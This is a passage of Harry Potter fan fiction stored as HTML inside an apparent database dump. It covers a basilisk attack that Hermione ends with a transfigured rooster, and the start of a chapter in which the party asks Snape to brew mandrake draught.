style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Oh, going to call Daddy for Help?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You keep Father out of this!&quot; yelled\nDraco, clearly Furious.&nbsp; Hermione\nwondered why Draco was so touchy about his father.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;MAKE ME!&quot; Ron yelled back.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco was about to retort when Harry suddenly\nshouted &quot;QUIET!!!&quot;&nbsp; Ron and\nDraco were completely stunned while Harry strained his ears, listening at\nsomething.&nbsp; &quot;There\'s that voice\nagain...\'let me rip...tear...kill...I smell blood...I smell...\' Oh My\nGod.&quot;&nbsp; Hermione had never seen\nHarry so pale as he quietly said &quot;Run.&quot;&nbsp; Then, he shouted &quot;RUN!&quot;&nbsp; A second later, Hermione found out why!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">A fifty foot long, poisonous green snake burst\nfrom forest and started snapping at the soldiers!&nbsp; Hermione only had a chance to glimpse at it before Harry turned\nher away.&nbsp; &quot;Whatever you do,&quot;\nhe shouted, &quot;don\'t look into it\'s eyes!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione immediately understood.&nbsp; It was a basilisk!&nbsp; The king of serpents.&nbsp;\nArguably the most dangerous creature in existence.&nbsp; Sure it was poisonous, but it\'s deadliest\nweapon was it\'s fatal stare: anybody who looked a basilisk directly in the eyes\nwould be killed instantly.&nbsp; Hermione\nnoticed that everyone who had visors were lowering them over their eyes.&nbsp; An indirect stare at a basilisk\'s eyes would\ncause petrification, but she figured that it would be better to be petrified\nrather than dead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry, Hermione, Ron, Draco, Remus, and Sirius\ntook cover behind some large trees.&nbsp;\n&quot;I don\'t know how, but this is all your fault, Malfoy!&quot;\nshouted Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Draco glared at him.&nbsp; &quot;You think that I lured the basilisk here?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Will you two\nstop arguing for a moment?!&quot; shouted Harry.&nbsp; &quot;I\'m going to speak with the snake: try to convince it to go\naway.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione thought Harry had gone mad.&nbsp; &quot;Are you crazy?!&nbsp; How can you talk to that thing?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry shrugged.&nbsp; &quot;I\'m a Parselmouth.&nbsp;\nI can speak to snakes.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione was shocked by this revelation.&nbsp; &quot;Why didn\'t you ever tell me?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;You never\nasked.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Before Hermione could say anything more, Harry\nstepped away from the company and calmly walked towards the attacking\nbasilisk!&nbsp; A number of soldiers had\nalready been petrified.&nbsp; Hermione saw\nHarry open his mouth, but instead of words, she heard him hiss and spit.&nbsp; She heard the basilisk started hissing and\nspitting back at him.&nbsp; They exchanged\nhisses for a couple of moments when the giant snake became angry and started\nthrashing out.&nbsp; Harry darted back to the\nhiding place.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What did you\nsay?&quot; hissed Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry actually looked embarrassed.&nbsp; &quot;Er...well...I asked him what he\nwanted...he told me that he was under orders to destroy us...I asked him if he\nwould leave us alone...he...er... he insulted me...I...um...I insulted him\nback...that...uh...made him angry...and...you know the rest.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Smooth,\nPotter,&quot; drawled Draco.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Well lets\nnot just sit around and do nothing about it!&quot; shouted Ron.&nbsp; &quot;Attack!&quot;&nbsp; Before anyone could stop him, Ron gave a war\ncry and charged at the basilisk, waving his sword over his head.&nbsp; A second later, the company heard a scream\nand a thud.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;That must\nmean he\'s been petrified,&quot; muttered Sirius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">At that moment, the king of serpents lashed at\nthe trees that were hiding the company and knocked them down.&nbsp; The Mage Knights scattered as wood and snake\nfangs started flying their way.&nbsp; Harry\nand Hermione took refuge behind a small boulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;We can\'t\nkeep this up much longer!&quot; shouted Harry.&nbsp;\n&quot;At this rate we\'re all going to end up as a bunch of stiffs!&quot;&nbsp; He didn\'t elaborate on whether he meant as\ndead or as stone.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione, however, was doing some quick\nthinking.&nbsp; &quot;Harry.&nbsp; What animal is a basilisk\'s natural\nenemy?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry raised an eyebrow.&nbsp; &quot;That\'s easy: griffins.&nbsp; But we don\'t have any griffins here with\nus.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I was\nthinking about something smaller than a griffin.&quot; said Hermione.&nbsp; She picked up a small rock and placed it on\ntop of the boulder.&nbsp; She muttered a\ncouple of well chosen words and transfigured the rock into...a rooster?&nbsp; Harry was about comment when the rooster\ncrowed.&nbsp; As soon as the giant snake\nheard the rooster crow, it shrieked in pain and keeled over.&nbsp; It was dead!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Needless to say, everyone was shocked.&nbsp; &quot;Wh...what?&nbsp; H...how?&quot; spluttered Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione rolled her eyes.&nbsp; &quot;Honestly, don\'t you read?&nbsp; A rooster\'s crow is fatal to\nbasilisks.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Sirius, Remus, and Draco, were prodding the\nsnake\'s corpse to make sure that it was indeed dead.&nbsp; Harry beamed at Hermione, causing her to blush.&nbsp; &quot;You know, Hermione,&quot; he\nsaid.&nbsp; &quot;You are absolutely\nbrilliant.&nbsp; What would I ever do without\nyou?&quot;&nbsp; Hermione smiled back at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Not too far from there, Tom Marvolo Riddle was\nsurveying the scene with interest.&nbsp;\nDespite the fact that his basilisk had just been killed, he actually\nseemed pleased with the outcome.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Intelligent...very intelligent,&quot;\nmuttered Riddle to no one in particular.&nbsp;\n&quot;That mudblood seems to possess a level of intelligence that it is\nquite rare.&nbsp; She definitely is an added\nbonus to the Mage Knights.&nbsp; I wonder, if\nit\'s all really a coincidence.&quot;&nbsp; He\nbecame silent before he said &quot;Perhaps she is the one to be feared most of\nall.&nbsp; She and Potter.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Riddle looked closer at Hermione and noticed\nthe way that she was looking at Harry.&nbsp;\nHe also noticed the way that Harry was looking at Hermione.&nbsp; A malevolent grin came to Riddle\'s\nface.&nbsp; &quot;Interesting.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 13, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: J.K. Rowling hasn\'t given me her\ncharacters.&nbsp; I\'m just borrowing.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 13: The Potions Master</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Well, things\ncould\'ve been worse,&quot; said Remus as he examined the scene.&nbsp; Luckily, none of the Gryffindor soldiers had\nbeen killed in the basilisk attack.&nbsp;\nHowever, around fifty soldiers, including Ron, had been petrified.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Yeah,&quot;\ngrinned Sirius.&nbsp; &quot;Every single one\nof us could\'ve been petrified.&nbsp; Then\nsome merchants would\'ve come and sold us off at some statue auction.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus ignored him as he helped move petrified\nsoldiers around.&nbsp; He laughed at Ron\'s\nexpression which was set on a combination of astonishment, horror, and\nadrenaline rush.&nbsp; &quot;I\'d hate to be\nwearing that expression for the rest of my life.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;The cure for\npetrification is mandrake draught,&quot; said Hermione with a matter of fact\ntone.&nbsp; She looked up at Remus.&nbsp; &quot;Do you know where we can get enough\nmandrake draught to cure fifty petrified people?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus started stroking his chin.&nbsp; &quot;Actually, if I recall right, there is\na potion master who lives near here.&nbsp;\nHe\'d be perfectly capable of brewing us some mandrake draught.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Really?&nbsp; Who is he?&quot; asked Sirius.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus looked at Harry and Sirius and\ngrinned.&nbsp; &quot;Actually, you two know\nhim.&nbsp; Quite well if I remember.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry and Sirius looked quite confused at\nfirst.&nbsp; Their looks of confusion\nsuddenly changed to utmost horror as understanding dawned on them.&nbsp; Draco, however, looked delighted.&nbsp; Harry started shaking his head.&nbsp; &quot;Oh no.&nbsp; Uh uh.&nbsp; Not going to\nhappen.&nbsp; No way.&nbsp; Nope, sorry.&nbsp; There is absolutely no way I\'m going to go crawling to HIM and\nbeg for help!&quot;&nbsp; Sirius followed\nsuit.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus scowled at them.&nbsp; &quot;Fine then!&nbsp; I just hope Ron enjoys living as a statue with a horrible expression\non his face forever.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry sighed.&nbsp;\n&quot;OK, OK.&nbsp; We\'ll just throw\naway our dignity and go beg HIM for help.&quot;&nbsp; Sirius continued to complain, but a glare from Harry and Remus\nshut him up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">About thirty minutes later, Hermione found\nherself outside a dark apothecary.&nbsp;\nHarry sighed and said &quot;Well, here goes nothing.&quot;&nbsp; He walked inside followed by Hermione,\nRemus, and Sirius who had transformed into a dog.&nbsp; Draco remained outside.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione found the inside of the Apothecary a\nlittle creepy.&nbsp; It was a dungeon that\nwas lined up with shelves and a number of tables.&nbsp; The shelves were covered with jars that were filled all manners\nof strange things: eyeballs, pieces of liver, animal claws, beetle wings, snake\nskin, and more horrid stuff that made her want to vomit.&nbsp; There were cauldrons on the tables, and they\nwere filled with disgusting, boiling potions that also made her feel sick.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;May I help\nyou?&quot; came a sharp voice from across the room.&nbsp; Harry visibly stiffened next to Hermione.&nbsp; The voice belonged to a pale man in black\nrobes and a crooked nose.&nbsp; He had very,\nVERY greasy hair.&nbsp; He looked at Harry\nand sneered.&nbsp; &quot;Oh, Potter, its only\nyou.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry scowled and turned to Hermione.&nbsp; &quot;Hermione Granger...Severus\nSnape.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Um...pleased\nto meet you,&quot; said Hermione as she stuck out her hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Charmed,&quot;\nsaid Snape.&nbsp; He ignored Hermione\'s hand and turned to Remus.&nbsp;\n&quot;Lupin, I see you\'ve returned.&nbsp;\nI hope this isn\'t a request for Wolfsbane.&nbsp; Tis a shame that you would need some in about three days isn\'t\nit?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Remus frowned.&nbsp;\n&quot;No Severus, I\'ve already got some stored up.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;And where is\nBlack?&quot; said Snape with slight smirk on his face.&nbsp; &quot;It would be a shame if that idiot were\nlost, but of course, he\'s probably had it long coming.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Suddenly, Sirius transformed back into a man\nlooking absolutely furious.&nbsp; Snape\ndidn\'t bother to hide his disappointment.&nbsp;\n&quot;Oh, so you\'re alive.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Yeah, too\nbad.&nbsp; I would\'ve been honored if you\'d\nhad given my eulogy,&quot; snarled Sirius.&nbsp;\nBoth men showed equal amounts of loathing on their faces.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Snape turned back to Harry.&nbsp; &quot;So, what do you want?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry straitened up.&nbsp; &quot;We need mandrake draught for fifty people.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Still going\naround causing trouble now are we, Potter?&quot; smirked Snape.&nbsp; &quot;If this were a few years ago at\nHogwarts, I would\'ve made sure that you had the proper punishment.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;We were\nattacked by a basilisk, dammit!&quot; hissed Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Snape walked towards one of the shelves and\nstarted digging through the contents.&nbsp; &quot;Very\nwell, I will make your precious mandrake draught, on one condition.&quot;&nbsp; He tossed Harry an object he had just taken\nfrom the shelf.&nbsp; It was a simple pendant\nin the form of a silver cross.&nbsp;\n&quot;Wear that.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What?!&quot;&nbsp; Harry couldn\'t understand what Snape was\ngetting at.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Snape smirked at Harry\'s confusion.&nbsp; &quot;Wear it.&nbsp; And don\'t take it off.&nbsp;\nI\'ve designed it so that it will alert me if you ever take it off.&nbsp; Mandrake draught takes a couple of days to\nbrew and it would be most unfortunate if I decide to postpone my potions work\nfor a while.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What is\nit?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;An\nexperimental protection charm I\'ve been working on for some time.&nbsp; It needs testing.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry narrowed eyes as he said &quot;So I\'m the\nguinea pig, eh?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Snape smirked.&nbsp;\n&quot;If you want to put it that way.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Fine,&quot;\nHarry grumbled.&nbsp; He tied the pendant\naround his neck and put it under his armor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Now if you\nwould step out of my workplace,&quot; said Snape.&nbsp; &quot;I have some potions I need to brew.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">With that, they walked out of the\nApothecary.&nbsp; &quot;Is it just me or is\nthat man a complete slimy git?&quot; asked Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;He was one\nof my trainers at Hogwarts,&quot; said Harry.&nbsp;\n&quot;His favorite hobby was making my life a living hell.&nbsp; He also got his training at the same time as\nmy Dad, Sirius, and Remus.&nbsp; They\ndespised each other.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Brilliant\nPotions master, though,&quot; said Remus.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Yeah,&quot;\nagreed Sirius.&nbsp; &quot;But he always\ntakes extra time with us to add some of his \'extra flavors\', slimy git.&nbsp; Bet his hair has more grease than the Slytherin tar pits.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The company laughed as they rejoined\nDraco.&nbsp; He immediately got down to\nbusiness.&nbsp; &quot;The Ring of the lion\nand the Ring of the Phoenix are located in a cave called the Caverns of Power.&nbsp; It can only be entered during the full moon\nwhich will be in three days,&quot; he said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry sighed as he said &quot;There\'s no way\nthat I\'m letting 